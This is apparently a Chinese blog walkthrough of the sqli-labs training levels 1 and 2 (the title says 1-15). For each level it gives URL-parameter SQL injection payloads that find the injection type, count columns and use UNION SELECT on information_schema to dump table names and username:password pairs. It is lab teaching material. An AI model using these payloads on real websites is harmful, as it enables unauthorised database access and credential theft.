sqli-labs关卡1-15

less-1

目标url:http://fgxljj.icu:88/Less-1/

 

(1) 判断注入点

输入单引号,页面报错(语法错误,说明输入的单引号被带入到数据库并执行了)

 

(2) 判断注入类型(数字型,字符型)

构造 ?id=1 and 1=1   回显正确

 

 

构造 ?id=1 and 1=2   回显正确 

即没有进行逻辑判断,故注入类型为字符型

 

 (3)判断闭合方式,并进行闭合

构造 ?id=1'  and 1=1 -- +   回显正确

构造 ?id=1'  and 1=2 -- +   回显错误

以上可得闭合成功

 

(4) 判断字段数(order by)

 构造 ?id=1' order by 1 -- +    回显正确

 构造 ?id=1' order by 2 -- +    回显正确

 构造 ?id=1' order by 3 -- +    回显正确

 

构造 ?id=1' order by 4 -- +    回显错误

故表users只有3列

 

(5) 判断回显点

构造 ?id=-1' union select 1,2,3 -- +     联合查询(id置于-1,查询结果为空,则显示联合查询后面的回显点)

回显点为2,3

 

(6) 查询相关内容

爆库   构造 ?id=1' union select 1,2,database() -- +

 

 爆表    构造 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 

爆列    构造 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users '-- +

 

爆值    构造 ?id=-1' union select 1,2,group_concat(username,':',password) from users -- +

 

less-2

目标url:http://fgxljj.icu:88/Less-2/

 

(1) 判断注入点

     输入单引号,页面报错(语法错误,说明输入的单引号被带入到数据库并执行了)

 

(2) 判断注入类型(数字型,字符型)

     构造 ?id=1 and 1=1   回显正确

 

     构造 ?id=1 and 1=2   回显错误 

     故注入类型为数字型

 

 

(3) 判断字段数(order by)

 构造 ?id=1 order by 1    回显正确

 构造 ?id=1 order by 2    回显正确

 构造 ?id=1 order by 3    回显正确

 

构造 ?id=1 order by 4  回显错误

故表users只有3列

 

(4) 判断回显点

构造 ?id=-1 union select 1,2,3      联合查询(id置于-1,查询结果为空,则显示联合查询后面的回显点)

回显点为2,3

 

(5) 查询相关内容

爆库   构造 ?id=1 union select 1,2,database() 

 

 爆表    构造 ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 

 

爆列    构造 ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users

 

爆值    构造 ?id=-1 union select 1,2,group_concat(username,':',password) from users

 

posted @ 2020-11-27 14:25  君不见黄河之水  阅读(113)  评论(0编辑  收藏  举报